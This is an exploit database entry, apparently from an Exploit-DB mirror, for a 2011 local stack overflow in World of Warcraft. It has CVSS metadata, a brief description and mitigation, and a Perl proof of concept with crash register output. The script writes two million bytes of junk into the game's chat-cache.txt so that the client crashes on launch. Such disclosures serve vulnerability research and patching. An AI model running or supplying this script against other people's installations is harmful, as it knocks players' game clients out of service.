World Of Warcraft Local Stack Overflow Dos Exploit (chat-cache.txt)

vendor:

World Of Warcraft

by:

BSOD Digital (Fabien DROMAS)

7.5

CVSS

HIGH

Stack Overflow

121

CWE

Product Name: World Of Warcraft

Affected Version From: Burning Crusade

Affected Version To: Cataclism

Patch Exists: No

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7

2011

World Of Warcraft Local Stack Overflow Dos Exploit (chat-cache.txt)

This exploit is a local stack overflow vulnerability in World Of Warcraft. It is triggered by creating a chat-cache.txt file with a large amount of data, which causes a stack overflow error when the game is launched. This results in a denial of service (DoS) attack.

Mitigation:

Ensure that the chat-cache.txt file is not filled with large amounts of data.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#
#Exploit Title:
#World Of Warcraft Local Stack Overflow Dos Exploit (chat-cache.txt)
#
#Date: 04/09/2011
#
#Author: BSOD Digital (Fabien DROMAS)
#
#Other details:"Code Exec" Exploit in analysis.
#
#Tests:
#OS: Windows 7
#Versions: burning crusade,cataclism, Demo Version.
#
#Path:
#world of warcraft > WTF > account > file (numbers) > server_file > account_name_file > chat-cache.txt
#
#Error:
#This application has encountered a critical error:
#
#ERROR #132 (0x85100084) Fatal exception!
#
#Program:	D:\World of Warcraft\Wow.exe
#ProcessID:	92024
#Exception:	0xC00000FD (STACK_OVERFLOW) at 0023:0109DA97
#
#Registers:
#----------------------------------------
#    x86 Registers
#----------------------------------------
#
#EAX=000F2000  EBX=1BD920D8  ECX=000CC22C  EDX=00000000  ESI=0012366F
#EDI=00000000  EBP=001EFC5C  ESP=001EF8A4  EIP=0109DA97  FLG=00010206
#CS =0023      DS =002B      ES =002B      SS =002B      FS =0053      GS =002B


my $file = "chat-cache.txt";
my $dos_junk = "A" x 2000000;
open($File, ">$file");
print $File $dos_junk;
close($File);